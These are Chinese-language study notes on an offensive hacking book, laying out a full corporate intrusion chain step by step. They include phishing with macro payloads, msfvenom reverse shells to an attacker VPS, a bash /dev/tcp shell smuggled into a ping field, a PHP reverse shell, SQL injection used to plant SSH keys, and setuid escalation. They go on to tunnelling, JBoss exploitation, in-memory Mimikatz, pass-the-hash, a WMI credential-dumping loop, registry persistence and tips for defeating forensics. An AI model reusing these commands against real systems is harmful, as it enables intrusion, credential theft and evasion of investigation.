閱讀《如何像**明星一樣亂砍》筆記
參考資料:https://github.com/OpenCyberTranslationProject/How-to-Hack-Like-a-Pornstar
高度定製痕跡流程,打亂取證的資料塊關聯性
U盤系統-》公眾wifi或黑卡熱點-》中立國家VPN-》中立國家VPS(工具部署)-》目標 這些中立國家的政策使得他們可以直接刪除日誌,讓取證無資料可查
防禦:對於業務在國內的公司,遇到國外IP直接封
凡是都有雙面性,如果無法掌握痕跡清除的技能,也就意味著犯罪分子買凶直接溯源到你進而產生命案。攻擊如果反過來用就是保命術。
攻擊手法
魚叉式網路釣魚 -》 高度定製釣魚內容
釣魚是全網攻擊的首選項:直接在內網打點
攻擊DMZ區域:難道較大,但更效率
虛假USB,硬體植入,近源滲透,內鬼等
攻擊者想得到什麼?
CEO電子郵件,賬號,信用卡資料,使用者資訊等
網際網路時代,幾乎每一個公司都有屬於自己的主頁網站,網站上有其領域的內容,電子郵件與電話等
www.company.com
[email protected] 可能與官網一致或不同
這本身沒什麼幫助,給他傳送郵件將得到一個真實存在的人在某個部門給你的回覆郵件
由於初次接觸,將從郵件地址與回件中得到,該公司名稱,圖示,簽名,姓名等
這些資訊有助於找出他關注與分享的內容
案例:TheHarvester工具輸入電子郵件地址,它去搜索引擎找;或者去社交媒體得到最新,最準的結果
釣魚的成功點在於希望別人開啟執行惡意程式的檔案
大多數電子郵件伺服器都允許修改源地址,就如同手機顯示來電號碼一樣都是可以改的
Gophish全面和自動化工具,設定自己的電子郵件伺服器,使用神似該公司的地址給目標發郵件[email protected]
但是公司的安全措施部署的還算可以,電子郵件伺服器很可能禁止接收任何為[email protected]的郵件,這很有意義。因為公司內部的郵件不可能從外網傳送過來。
釣魚郵件中經常出現的是網址,而不是直接附件惡意檔案(降低觸發垃圾郵件規則的捕獲)
因為攻擊者使用的是網址的形式,所以需要在網際網路上面註冊一個免費的DNS名稱,比如:redteam.ddns.com,將此DNS指向釣魚網址。
點選釣魚網址將自動觸發檔案下載,然後將其重定向到正常的網站。
惡意檔案的選擇性
.exe檔案非常可疑,更聰明的東西是包含惡意程式碼的excel電子表格,反向shell
VBA Pure breed:VB語言,可直接嵌入到office文件中。員工習慣於在office文件中執行巨集。metasploit
在VPS上測試程式碼:netcat,黑客的瑞士軍刀。nc -l -p 443
生成VBA的有效載荷(無特殊編碼):msfvenom -a x86 --platform Windows -p windows/shell/reverse_tcp -e generic/none -f vba lhost=VPS_IP lport=443
Workbook_Open開啟文件時啟動有效負載
定義一個數組,包含反向shell和payload的真實子彈
分配一些可執行記憶體,將shell匯入到記憶體執行
metasploit幾乎總是習慣這種套路來生成payload,無論是什麼語言
這種固定的套路使得防毒產品非常簡單的就識別出來,對逃逸來說很過分,因此引出新的方法,powershell。
通常的逃逸是加密函式包含shellcode的變數
在powershell中生成反向shell,嵌入到office文件中
PS樣本:#20
C:\examples> Powershell -Exec Bypass .\reverse.ps1
nc -l -p 4444
一般情況下VBA程式碼來呼叫此指令碼
VBA> Shell ("powershell c:\temp\reverse.ps1 ")
但是:這需要在目標磁碟上編寫指令碼,會觸發更多的報警。
理想的情況是使用PowerShell內聯命令執行功能。
執行powershell.exe引數傳遞的程式碼字串,而不是執行檔案。並進行unicode base64編碼
cat reverse.ps1 | iconv -f UTF8 -t UTF16LE | base64
-W hidden 引數隱藏PS互動視窗,當用戶開啟(Workbook_Open函式)office文件時呼叫launch_me()
進一步縮寫VBA程式碼使其很難閱讀,工具Lucky Strike可以配合一些加密和其他功能。
The Empire strikes 帝國大罷工
以前的payload使用原始套接字連線,使用web代理訪問網際網路的工作站將無法連接回來。
netcat監聽器每次只接受一個連線,不適合針對殭屍網路回連
因此,PowerShell Empire派上了用場。 #23
代理使用對稱加密金鑰來傳輸有效負載並很好地處理工作站上定義的任何潛在代理。
VBA中的Meterpreter
另一種方式是通過Meta框架部署一個shell,使用兩個stager會增加逃逸的機率
meta的有效載荷是反病毒公司眾所周知的,一旦被目標攔截就永遠不會回連了
為了克服這個障礙,引出新增多層加密和混淆的工具生成相同的meta框架shell:Veil-Evasion
生成兩個檔案:執行PowerShell有效載荷的meter.bat檔案,預先配置的metasploit監聽器:meter.rc
redteam$ msfconsole -r meter.rc 啟動監聽
Lucky Strike:Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New- Object IO.MemoryStream (,$([Convert]::FromBase64String("nVRtb9s4DP6eX0EYO [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
可以使用Lucky Strike生成普通的PS檔案或者實彈的Excel檔案
總而言之,得到了使用者的資訊之後,並準備了兩個功能強大的Excel變種,可能會繞過大多數防病毒產品,結合高度內容訂製的魚叉式釣魚攻擊,可直接在內網中打點。
為什麼能逃逸防病毒解決方案?
防病毒產品主要基於簽名:標記為惡意的檔案內的特定資料包,標記惡意軟體Trojan.Var.A,檢查程式碼中的位元組序列:0xFC99AADBA6143A。一些產品表象有程式碼分析、反轉、機性檢查等高階功能,但實際上,核心引擎主要還是基於簽名
從頭開始編碼惡意軟體以避免匹配任何已知簽名
下載惡意檔案到磁碟上將立即觸發防病毒產品掃描並標記。如果直接在記憶體中注入相同的惡意檔案,只要它不接觸磁碟就不會觸發報警
可以將賦值給變數的payload加密或編碼,然後將該程式碼注入記憶體中的新程序或已存在程序。與完整的惡意軟體相反,stager(階段器)只是幾行程式碼,且可很容易地進行調整以逃避所有簽名檢測。
Public exposure 公開暴露(資產發現 or 資訊收集)
Mapping public IP addresses 對映公開IP地址
我們的唯一線索是公司名稱(比如Slash & Paul's Holdings),然後找到他們的主站。搜尋引擎一樣,隨便開啟一個網站亂殺
馬上會遇到第二個難題,公開的DNS記錄:sph-assets.com
使用centralops.net(domain工具),發現該網站IP地址不是SPH公司的而是亞馬遜的雲主機。因此,它在該公司的資料中心以外的地方,我們不會去理睬它。
我們如何在DMZ區域找到真實的伺服器?這很簡單,列舉所有可能的子域名,檢查其對應的IP地址是否屬於該公司所有。
DNSRecon,DNScan,以字典的形式傳送請求列舉
dnsrecon -d sph-assets.com -t brt -D wordlists/domains_short.txt
172.31.19.0/25 Up.sph-assets.com Career.sph-assets.com Info.sph-assets.com Catalog.sph-assets.com
Web applications 網路應用
得到這些URL以後,尋找漏洞。Burp Suite,ZAP
up.sph-assets.com 遠端程式碼執行漏洞示例
網路接通性測試頁面 此頁面可能在linux上建立ICMP請求並返回,程式碼可能如下
& && ; | 串聯字元執行系統命令
www.google.com ; cat /etc/passwd
www.google.com; bash -i >& /dev/tcp/FRONT_GUN_IP/443 0>&1
red team的VPS伺服器上,nc -l -p 443
這是很簡單的遠端程式碼執行預熱,它與CVE-2016-10033同理,請享用PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033):https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
career.sph-assets.com 上傳漏洞示例
該網址類似於招聘頁面上傳簡歷的功能,正常要求傳PDF格式。但我們肯定不會那樣做,肯定傳PHP,ASP or JSP。我們的目標是欺騙網址使其以為自己收到的是PDF。Burp,ZAP,抓包觀察Content-Type: application/octet-stream
整它-》Content-Type: application/pdf
檔案被傳到了伺服器上面的某處,我們需要通過瀏覽器找到它確切位置並訪問
右鍵,原始碼找找看。
網際網路上有許多webshell指令碼,其中有許多帶有後門,為其他黑客做嫁衣。因此請當心那些花裡胡哨的C99或R57的多功能shell。請保持簡潔,就使用簡潔的命令
info.sph-assets.com 檔案遍歷漏洞示例
該頁面提供了一些財務報表資料等,準備吸引一些韭菜過來。有時,你登入頁面以後啥也沒動,但burp也會出來請求提醒你,網站在背後偷偷搞事情。
該例子中,burp收到了pdf請求,目的是讓使用者閱讀一下他們引以為傲的假資料。我們的第一反應是引誘網站開啟系統上的其他檔案。
首先弄清楚該網站的系統,簡單看一下HTML原始碼,AXD and ASPX是Microsoft IIS伺服器的跡象。示例如下:
<script src=“/。。。/*.axd?*”>
HTTP頭更明顯:server:Microsoft - IIS/7.5
IIS配置儲存在“ web.config”檔案中,該檔案通常位於主頁上方的一個或兩個目錄中。
www.sph-assets.com/get_static.php?image=../../web.config
該配置檔案中有資料庫的賬號密碼資訊,該資料庫位於內部網路上。注意,在日常生活中我們很有可能在很多地方使用一樣的密碼。
CMS內容管理服務:WP
顯然,這樣的模組化東西需要一個管理面板來讓使用者管理網站內容
info.sph-assets.com/wp-admin
在WP上,無法直接上傳PHP檔案,甚至無法從頭開始建立一個PHP檔案。需要安裝insert_php外掛或編輯主題檔案functions.php,才能插入反向shell的PHP程式碼段
新增到“ functions.php”中的PHP程式碼可以很簡單:
$sock=fsockopen("FrontGun_IP",443);exec("/bin/sh -i <&3 >&3 2>&3");
catalog.sph-assets.com SQL注入漏洞示例
該頁面類似於商城。根據提供的id向後端發出獲取產品的請求。嘗試引號,雙引號來試探一下,伺服器以相同的令人失望的空白頁進行響應
catalog.sph-assets.com/product/13
但14-1,可以訪問13的產品。這說明算數運算實際被後端處理
POC:catalog.sph-assets.com/product/14-1
再試試
POC:catalog.sph-assets.com/product/13+1
POC:catalog.sph-assets.com/product/(select 14)
很可能存在程式碼注入,特別是SQL注入。select語句被正確解釋,這意味著我們可以欺騙資料庫以執行新增到請求末尾的SQL程式碼。程式碼既要有效,又要遵守某些語法和結構,但不需要太擔心。
可以使用sqlmap來完成繁重的測試任務。不過,該網站似乎僅託管公共資訊,我們不會輕而易舉的獲得客戶資料。
那SQL注入還有何用?我們感興趣的是能夠執行系統上的程式碼,這幾乎與安裝的資料庫軟體有關。
Microsoft SQL Server:xp_cmdshell,需要管理員許可權
MySQL and Oracle:僅提供將檔案寫入它們有權訪問的目錄,一個有趣的案例是將後門寫入web目錄,甚至將SSH金鑰寫入主資料夾
因此需要藉助sqlmap先幫助我們探到伺服器用的啥子資料庫:
redteam$ sqlmap -u catalog.sph-assets.com/product/14* --banner
redteam$ sqlmap -u catalog.sph-assets.com/product/14* --tables
tables ’node_comment’ and ‘node__body’是典型的Drupal CMS,這些資訊可以檢視HTML輕鬆確認
Drupal 8官網說:賬號密碼在這裡,users_field_data
redteam$ sqlmap -u catalog.sph-assets.com/product/14* -T users_field_data --dump
密碼在資料庫中經過雜湊處理。使用John以字典的形式爆破。也可以使用線上版公共資料庫查詢
不幸的是,Drupal的雜湊值是加鹽的,使其難以破解。我們唯一的選擇是植入SSH祕鑰。
公鑰:../.ssh/id_rsa.pub
私鑰:../.ssh/id_rsa
寫入我們的公鑰
redteam$ sqlmap -u catalog.sph-assets.com/product/14* --file-write=/root/.ssh/id_rsa.pub -–file-destination=/home/mysql/.ssh/
使用我們的私鑰連線
redteam$ ssh -i /home/.ssh/id_rsa.priv [email protected]
我們就能把SQL注入變成為遠端互動訪問了。。。許可權有限。CVE-2016-6662,該漏洞利用SQL注入獲得對計算機的根訪問許可權,請享用:https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html
Miscellaneous services 雜項服務
埠掃描:nmap,masscan
探測公共伺服器時,不必特別隱身
FrontGun$ nmap -p- -A 172.31.19.0/25 -oA external_range
SSH和RDP
redteam$ mongo MongoDB_IP 預設直接連線
use stats_db
show collections
db.users.find({})
密碼:Slash!
nmap 3389 windows:mstsc linux:rdesktop
John The Ripper:https://www.openwall.com/john/doc/
FrontGun$ john --wordlist=pass.txt --rules --stdout > pass_file.txt 生成變種
將密碼列表給:Patator, Hydra, Crowbar
North of the (fire)wall 防火牆
目前在DMZ區域內有個shell。尋找內網建立隧道,通過DMZ落到外網VPS(部署了kali)
unset HISTFILE 禁用歷史命令
uname -a
www-data@CAREER$ cat /etc/passwd www-data使用者,沒什麼特權
w
ifconfig
iptables -L 本地沒有防火牆規則
以上資訊收集可以使用更高階的shell(meterpreter)模組自動執行所有這些檢查。
工具和命令備忘單:Windows: http://tim3warri0r.blogspot.fr/2012/09/windows-post-exploitation-command-list.html
linux:https://github.com/mubix/post-exploitation/wiki/Linux-Post-Exploitation-Command-List
如果只是為了打入內網建立隧道,無需在DMZ伺服器上提權。但要刪除日誌,安裝新工具,則需提權。
利用漏洞得到shell
Microsoft SQL SQL注入 DBA賬戶 命令執行
特權提升,setuid檔案:尋找此檔案,編輯命令,環境變數,執行其他二進位制檔案。
列出所有setuid檔案
CAREER$>find / -type f \( -perm -04000 -o -perm -02000 \) \-exec ls -l {} \;
我們無法知道到底哪一個是最佳突破口,這需要龐大的情報共享庫,或者自己認識每一個檔案,或者有大量類似的經驗來類推。
-r-sr-sr-x 1 oinstall adm 9 Dec 18 14:11 /app/product/def_policy
www-data@career$ strings /app/product/def_policy 硬編碼 打印出檔案中的字串
.......
ADMIN_PATH
%s/install.sh
“%s”格式字串表示install.sh的位置是從變數派生的……也許是“ ADMIN_PATH”?幾乎可以肯定,它是在會話級別定義的環境變數。
www-data$> export ADMIN_PATH=/tmp/ 修改環境變數
www-data$> echo -e "#\!bin/bash\n/bin/bash" > /tmp/install.sh
www-data$> /app/product/def_policy
oinstall$> id
oinstall$> uid=1501(oinstall) gid=2001(adm) groups=2001(adm) ,27(sudo)
sudo su
linux許可權檢查 http://www.securitysift.com/download/linuxprivchecker.py
windows許可權檢查 https://github.com/pentestmonkey/windows-privesc-check
在DMZ拿下第一個機器後卻沒有黑客工具繼續後續操作。在入侵的伺服器上面直接安裝常規的黑客工具?這不是把別人站打了,然後還提醒別人嗎?如果都是這麼愚蠢的犯法,世界就和平了。
建立虛擬隧道,以便於在VPS(部署kali)上執行工具
專用地址:內網區域機器,192.168.1.0/24。VPS無法傳送資料包給192.168.1.56的內網機器。
關鍵操作是在DMZ區域的機器上,設定代理轉發內網的資料包出來,也稱為socks代理。
Socks proxy
下載一個socks5,埠改成1521
g++ -o socks5 socks5.cpp -lpthread
python -m SimpleHTTPServer 80 輕量級HTTP伺服器
DMZ:wget http://VPS_IP/socks5
chmod +x socks5 && ./socks5
DMZ區域後有一個嚴格的防火牆在守護,不允許內網機器連線外面的1521埠(防火牆會阻止除了80和443以外的所有埠)
FrontGun$ nc career.sph-assets.com 1521
提示:連線超時
為了解決這個問題,在DMZ建立兩個本地規則
root@CAREER# iptables -t nat -A PREROUTING -s <IP_FrontGun> -p tcp -i eth1 -–dport 80 -j DNAT -–to-dest webserver02:1521
root@CAREER# iptables -t nat -A POSTROUTING -d webserver02 -o eth1 -j MASQUERADE
DMZ接收內網訪問80埠的流量重定向到1521,通過socks5代理轉到VPS上面
內網《-》防火牆《-》80《-》1521《-》VPS
使用的每個工具都使用剛剛建立的隧道。
/etc/proxychains.conf
[ProxyList]61 # add proxy here ...
62 # meanwile
63 # defaults set to "tor"
64 #socks4 127.0.0.1 9050
65 socks5 career.sph-assets.com 80
FrontGun$ proxychains nmap -sT 192.168.1.0/24
Meterpreter
現在,使用msf的功能,完成上面類似的事情。
因為在linux機器上很少有防病毒產品,所有直接生成payload
FrontGun$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=FrontGun_IP LPORT=443 -f elf > package
FrontGun$ msfconsole
Msf> use exploit/multi/handler
Msf> set payload linux/x86/meterpreter/reverse_tcp
Msf> set LHOST FRONTGUN_IP
Msf> set LPORT 443
Msf> run
FrontGun$ python -m SimpleHTTPServer 80 啟動輕量級HTTP服務
Career# wget http://FrontGun/package DMZ區域下載payload
Career# chmod +x package && ./package
很快得到一個meterpreter會話,Ctr+Z
msf exploit(handler) > route add 192.168.1.0 255.255.255.0 1
掃描確認一下路由良好(注意:儘量使用nmap和手寫的指令碼,msf內建的很慢)
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set PORTS 80
PORTS => 80
msf auxiliary(tcp) > set RHOSTS 192.168.1.46
RHOSTS => 192.168.1.46
msf auxiliary(tcp) > run
使用模組auxiliary / server / socks4a。 它在我們的Front Gun伺服器上開啟一個本地埠。 按照之前新增的路由,到達該埠的每個資料包都會自動轉發到meterpreter會話。
msf auxiliary(tcp) > use auxiliary/server/socks4a
msf auxiliary(tcp)> set SRVPORT 9999
SRVPORT => 9999
msf auxiliary(tcp)> set SRVHOST 127.0.0.1
SRVHOST => 127.0.0.1
msf auxiliary(tcp)> run
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server
使用剛剛建立的路由隧道,讓任何工具都可以生效。
[ProxyList]
61 # add proxy here ...
62 # meanwile
63 # defaults set to "tor"
64 #socks4 127.0.0.1 9050
65 socks4 127.0.0.1 9999
注意:與第一種DMZ部署socks開啟1532的埠方法相反(需要root),這一次我們在VPS上面通過msf打開了9999埠。
frontGun$ proxychains nmap -sT 192.168.1.0/24
Fooling around 到處散步
到達DMZ區域後,開始探測
FrontGun$ proxychains nmap -F -n 192.168.1.0/24 -oA dmz_scan
-n does not resolve DNS names 不解析DNS名稱
-F scans only the 100 most common ports 只掃描100個最常見的埠
-oA writes the results to a local file 輸出結果到檔案
A lonely (J)Boss 中介軟體
如預期一樣,發現了大量的web服務,但有一些中介軟體沒有被及時掃描到
Apache ,JAVA家族的JBoss,Tomcat,Jenkins等。
作為黑客,感興趣的是這些中介軟體的管理控制檯。開發人員圍繞著它們釋出新的應用和升級應用,類似CMS
如果可以訪問進去,我們就能通過控制檯隨意安裝和升級應用。當然,肯定會把惡意程式碼也插進去。
root@kali:~/book# grep -e "\(8080\|8443\|8081\|8888\).*open" dmz_scan.gnmap |sed -r 's/,/\n/g'
過濾一下感興趣的結果
Host: 192.168.1.70 ()
Ports: 135/open/tcp//msrpc///
139/open/tcp//netbios-ssn///
445/open/tcp//microsoft-ds///
1026/open/tcp//LSA-or-nterm///
8009/open/tcp//ajp13///
8080/open/tcp//http-proxy///
訪問JBoss管理面板, JMX-console, Web-console,JmxInvokerServlet等
可以編寫一個反向的java應用程式shell,將其打包在war檔案中,部署在Jboss上來進行遠端程式碼執行。
自動化:metasploit模組jboss_invoke_deploy
FrontGun$ msfconsole
msf > use exploit/multi/http/jboss_invoke_deploy
msf exploit(jboss_invoke_deploy) > set RHOST 192.168.1.70
RHOST => 192.168.1.70
msf exploit(jboss_invoke_deploy) > set payload
java/meterpreter/reverse_https
payload => java/meterpreter/reverse_https
msf exploit(jboss_invoke_deploy) > set LHOST Front_Gun_IP
LHOST => 192.168.1.11
smsf exploit(jboss_invoke_deploy) > set LPORT 443
LPORT => 443
msf exploit(jboss_invoke_deploy) > exploit
meterpreter > getuid
Server username: jboss_svc
發現 jboss_svc使用者沒有管理員許可權,這在windows上非常不尋找。通常情況下會立即得到SYSTEM許可權。
進一步調查發現是Windows 2003 server SP3,不要驚訝。真實情況下有很多老公司,當年部署的服務至今都不敢動。軟體整合這些東西,動一個服務可能就永遠起不來了。。發現在本地有三個使用者存在。
當然可以利用一大堆漏洞來進行滲透,但這裡將介紹一些經典方法來提權,它更快,更隱蔽,更穩定。
/post/multi/recon/local_exploit_suggester 這個模組可以偵查漏洞
meterpreter > shell
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\jboss-6.0.0.M1\bin>net localgroup "administrators"
net localgroup "administrators"
Members
--------------------------------------------------------------------
admin_svc
Administrator
The command completed successfully.
Rise and fall 升與降
提權最基本的方式就是找密碼。批量化部署的軟體會將管理員的賬號密碼放到一些xml檔案中,比如unattend.xml。類似於使用一個軟體給一千臺機器同時安裝QQ,會留下一個敏感的配置檔案。
執行策略不是安全配置,是防止執行PS指令碼時出現意外而預設設定的,可以輕鬆繞過
C:\jboss-6.0.0.M1\bin>powershell -exec bypass 注意:從CMD切換到PS bypass繞過PS中的執行策略
參考資料:https://artofpwn.com/offensive-and-defensive-powershell-ii.html
PS> Get-Content "c:\windows\panther\unattend.xml" | Select-String "Password" -Context 2 -SimpleMatch
<Username>admin_svc</Username>
<Domain>WORKGROUP</Domain>
<Password>SABlAGwAbABvADUAbQBlAA==</Password>
</Credentials>
注意密碼是base64編碼,在PS,linux,web中會經常遇到這種編碼。解碼得到Hello5me。
C:\jboss-6.0.0.M1\bin>net localgroup "administrators"
sysprep.xml與sysprep.inf也可能包含密碼
.bat, .sh, .vbs, .vba, .vbe, .asp,.aspx, .php, .jsp 指令碼檔案也可以搜一下
.ini,.config,.properties 等配置檔案也搜一下
> dir \ /s /b | find /I “password”
> dir \ /b /s “*.bat”
> dir \ /b /s “*.cmd”
> dir \ /b /s “*.vbs”
> dir \ /b /s “*.vba”
> dir \ /b /s “*.vbe”
> dir \ /b /s “*.ps1”
> dir \ /b /s “*.config”
> dir \ /b /s “*.ini”
> dir /s *pass* == *cred* == *vnc* == *.config*
> findstr /si password *.xml *.ini *.txt
Psexec遠端系統執行命令,需要管理員許可權
It’s raining passwords 如下雨般的密碼
拿著admin_svc 和 admin_mnt兩個已知的賬號密碼去嘗試更多需要密碼的地方。Crackmapexec可以勝任此任務。
它以WMI和SMB來進行互動
對於蠻力,只需要SMB埠(445),這裡用crackmapexec去測試3個目標
FrontGun$ proxychains crackmapexec -u admin_svc -p Hello5me -d WORKGROUP 192.168.1.116 192.168.1.88 192.168.1.70
獲取win2003本地管理員hash值
FrontGun$ proxychains crackmapexec -u admin_svc -p Hello5me -d WORKGROUP –-sam 192.168.1.70
在windows環境上,由於NTLM協議,雜湊值等同於明文
LM基於DES演算法。NTLM基於MD4,unicode值,長度128位,爆破速度也很快。
詢問-響應
在本地中:將鍵入的密碼與儲存的值對比
在域中:使用者鍵入密碼,伺服器發一個隨機數,客戶端使用密碼雜湊加密後將結果返回給伺服器。伺服器用儲存的密碼雜湊加密隨機數,與客戶端對比。
注意:最後對比的東西是一串雜湊值。這樣的話,攻擊者可以假冒任何使用者而不需要知道他們的密碼,因為工具直接把密碼的雜湊提出來,你再接收隨機數,密碼雜湊與隨機數就都在你的手裡了。
微軟後來釋出了kerberos協議來避免LM/NTLM協議體系的缺陷。但是微軟不敢輕易去掉NTLM,他們無法保證在去掉NTLM協議的同時整個windows體系結構不被破壞。從此以後,NTLM就一直被保留在了系統中。
FrongGun$ proxychains crackmapexec -u administrator -H 9587e26af9d37a3bc45f08f2aa577a69 192.168.1.70, 192.168.1.88,192.168.1.116 -d WORKGROUP
可以在任何windows機器上獲得最近連線的使用者明文密碼,而不需要強加任何的東西。它本身不是漏洞,而是更多的設計缺陷。利用這些缺陷的第一個公共工具叫做Mimikatz
對於廣為人知的工具來說,防病毒和反惡意軟體產品肯定會標記此工具的前幾個位元組。
無論他們的技術多麼出眾與創新,都將受到一個簡單事實的限制:僅分析在磁碟上寫入的檔案
由於Mimikatz取得巨大的成功,CrackMapExec (empire, metasploit) 和其他工具可以直接在記憶體中遠端執行它
FrontGun$ proxychains crackmapexec -u administrator -H 9587e26af9d37a3bc45f08f2aa577a69 -d WORKGROUP 192.168.1.116 192.168.1.70 192.168.1.88 -M mimikatz --server=http --server-port=80
Crackmapexec在kali伺服器上執行。 它使用埠135上的遠端程序呼叫在記憶體中啟動遠端程序。然後,此程序在目標計算機上啟動一個小型PowerShell stager。 該stager獲取了從CME啟動Mimikatz的PowerShell指令碼(因此具有--server和--server-port選項),在記憶體中執行該指令碼並將結果通過HTTP傳送回去。 磁碟上沒有Mimikatz,沒有檢測到任何異常,就是這麼簡單。
整個攻擊中資料流都是通過DMZ區域中windows伺服器的80埠到達kali伺服器的。這種情況並不一直有效,後面再聊。
Inside the nest 內部巢 在內網中打點 勇敢的老鼠敢在貓的耳朵裡建立巢穴
到目前為止:控制了DMZ區域中的linux機器,6個windows管理員賬戶,一個通往DMZ內部的虛擬隧道
剩下的主旋律是重複:掃埠,利用漏洞,轉存密碼
我們的主要目標是訪問CEO的郵箱,獲取關鍵資料
Active Directory
活動目錄。公司環境中為了統一管理和共享資源。林,域,組織單位。大型網路可能會出現多個域控來負載均衡。
在這種環境下,機器有兩種賬號:本地使用者,域使用者。
注意域管理員組,企業管理員組,域管理員,GPO寫許可權,管理委託
Where are we going?
FrontGun$ proxychains crackmapexec -u Administrator -p M4ster_@dmin_123 -d WORKGROUP 192.168.1.70 -x "netstat -ano | findstr ESTABLISHED"
在任何一臺感染的機器上去偵查內網連線的資訊
Password reuse 密碼重用
使用DMZ區域中的本地賬號密碼嘗試內網域的賬戶密碼
FrontGun$ Proxychains nmap -n -p445,3389 10.10.20.0/24
FrontGun$ proxychains crackmapexec -u svc_mnt -p Hello5\!981 -d WORKGROUP 10.10.20.27 10.10.20.90 10.10.20.97 10.10.20.118 10.10.20.210
由於UAC的存在,即使是管理員也無法遠端執行特權命令。利用其中一臺的3389,突破UAC問題。rdesktop,mstsc
編寫PS,使用Invoke-Expression,僅在記憶體執行Mimikatz,
$browser = New-Object System.Net.WebClient
$browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentials
IEX($browser.DownloadString("https://....Mimikatz.ps1"))
invoke-Mimikatz
10.10.20.118 > powershell -exec bypass .\letmein.ps1
將Invoke-Mimikatz.ps1先放到DMZ區域的linux伺服器上,並開一個簡單的HTTP伺服器
Career# wget
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/InvokMimikatz.ps1
Career# python -m SimpleHTTPServer 443
$browser = New-Object System.Net.WebClient
IEX($browser.DownloadString("http://192.168.1.46:443/Invoke-Mimikatz.ps1"))
invoke-Mimikatz
注意本地管理員的賬號
CME需要RPC埠,135,49152到65535。nslookup找內網的PC名,windows的PC名可用於網路。
$browser = New-Object System.Net.WebClient
IEX($browser.DownloadString("http://192.168.1.46:443/Invoke-Mimikatz.ps1"))
invoke-mimikatz -Computer FRSV27, FRSV210, FRSV229, FRSV97 |out-file result.txt -Append
如果遠端PS未開啟,埠5985
wmic /user:administrator /password: Dom_M@ster_P@ssword1 /node:10.10.20.229 process call create " powershell enable-PSRemoting -force "
CMD: net user “domain admins”/domain 查域管理員組
WMI:伺服器上遠端執行命令的工具,如果未配置遠端PS,可以用它
1.調整程式碼,輸出時檔名包含IP
$browser = New-Object System.Net.WebClient
IEX($browser.DownloadString("http://192.168.1.46:443/Invoke-
Mimikatz.ps1"))$machine_name = (get-netadapter | get-netipaddress | ? addressfamily -eq "IPv4").ipaddress
invoke-mimikatz | out-file c:\windows\temp\$machine_name".txt"
2.將每個換行符更改為“;” 並將此指令碼放在PowerShell指令碼的變數中
PS > $command = '$browser = New-Object
System.Net.WebClient;IEX($browser.DownloadString("http://192.168.1.90:443/Invoke-
Mimikatz.ps1"));$machine_name = (get-netadapter | get-netipaddress | ?
addressfamily -eq "IPv4").ipaddress;invoke-mimikatz | out-file
c:\windows\temp\$machine_name".txt"'
3.對這個變數進行base64編碼,並定義目標
PS> $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
PS> $encodedCommand = [Convert]::ToBase64String($bytes)
PS> $PC_IP = @("10.10.20.229", "10.10.20.97")
4.一個迴圈啟動WMI,
PS> invoke-wmimethod -ComputerName $X win32_process -name create - argumentlist ("powershell -encodedcommand $encodedCommand")
5.輸出檔案到10.10.20.118
PS> move-item -path "\\$X\C$\windows\temp\$X.txt" -Destination
C:\users\Administrator\desktop\ -force
完成程式碼如下:
$command = '$browser = New-Object
System.Net.WebClient;IEX($browser.DownloadString("http://192.168.1.46:443/Invoke-
Mimikatz.ps1"));$machine_name = (get-netadapter | get-netipaddress | ?
addressfamily -eq "IPv4").ipaddress;invoke-mimikatz | out-filec:\windows\temp\$machine_name".txt"'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
$PC_IP = @("10.10.20.229", "10.10.20.97")
ForEach ($X in $PC_IP) {
$proc = invoke-wmimethod -ComputerName $X win32_process -name create
-argumentlist ("powershell -encodedcommand $encodedCommand")
$proc_id = $proc.processId
do {(Write-Host "[*] Waiting for mimi to finish on $X"),(Start-Sleep -
Seconds 2)}
until ((Get-WMIobject -Class Win32_process -Filter "ProcessId=$proc_id" -
ComputerName $X | where {$_.ProcessId -eq $proc_id}).ProcessID -eq
$null)
move-item -path "\\$X\C$\windows\temp\$X.txt" -Destination
C:\users\Administrator\desktop\ -force
write-host "[+] Got file for $X" -foregroundcolor "green"
}
Missing link
網路釣魚可以直接達到以上的結果,控制某組織所有的資源
(Empire) > interact D1GAMGTVCUM2FWZC
(Empire: D1GAMGTVCUM2FWZC) > sysinfo
(Empire: D1GAMGTVCUM2FWZC) > rename mike
(Empire: mike) >
反向shell由後臺的PS程序託管於記憶體中,使用者關閉execl也沒用,除非重啟。我們需要馬上給它續命
windows每次重啟登入時都會找一些登錄檔項,並稀裡糊塗執行許多程式。使用這些表現之一來儲存PS,讓使用者每次重啟時就執行。
(Empire: mike) > usemodule persistence/userland/registry
(Empire : persistence/userland/registry) > set Listener test
(Empire : persistence/userland/registry) > run
HKCU\Software\Microsoft\Windows\CurrentVersion\Run 此模組使用這個項
此方法已經眾所周知,很雞肋
查一下IT部門的資訊
(Empire: mike) > usemodule
situational_awareness/network/powerview/get_user
(Empire: mike) > set filter department=IT*
(Empire: mike) > run
(Empire:) > interact H3PBLVYYS3SYNBMA
(Empire H3PBLVYYS3SYNBMA :) > rename john
(Empire: john) > shell net localgroup administrators
檢查機器的缺陷:錯誤配置的服務,可劫持的DLL或純文字密碼
(Empire: john) > usemodule privesc/powerup/allchecks
(Empire: privesc/powerup/allchecks) > run
查計劃任務
(Empire: john) > shell schtasks /query /fo LIST /v
TaskName: \Chance screensaver
Author: SPH\adm_supreme
Task To Run: C:\Apps\screensaver\launcher.bat
發現定期更新屏保的程式
(Empire: john) > shell icacls c:\apps\screensaver
c:\apps\screensaver BUILTIN\Administrators:(F)
BUILTIN\Users:(OI)(CI)(F) BUILTIN:built-in 表示內建的組
(oi):由檔案繼承 (ci):由目錄繼承 (io):不適用於當前檔案及目錄 F:完全控制 w:可寫 r:可讀
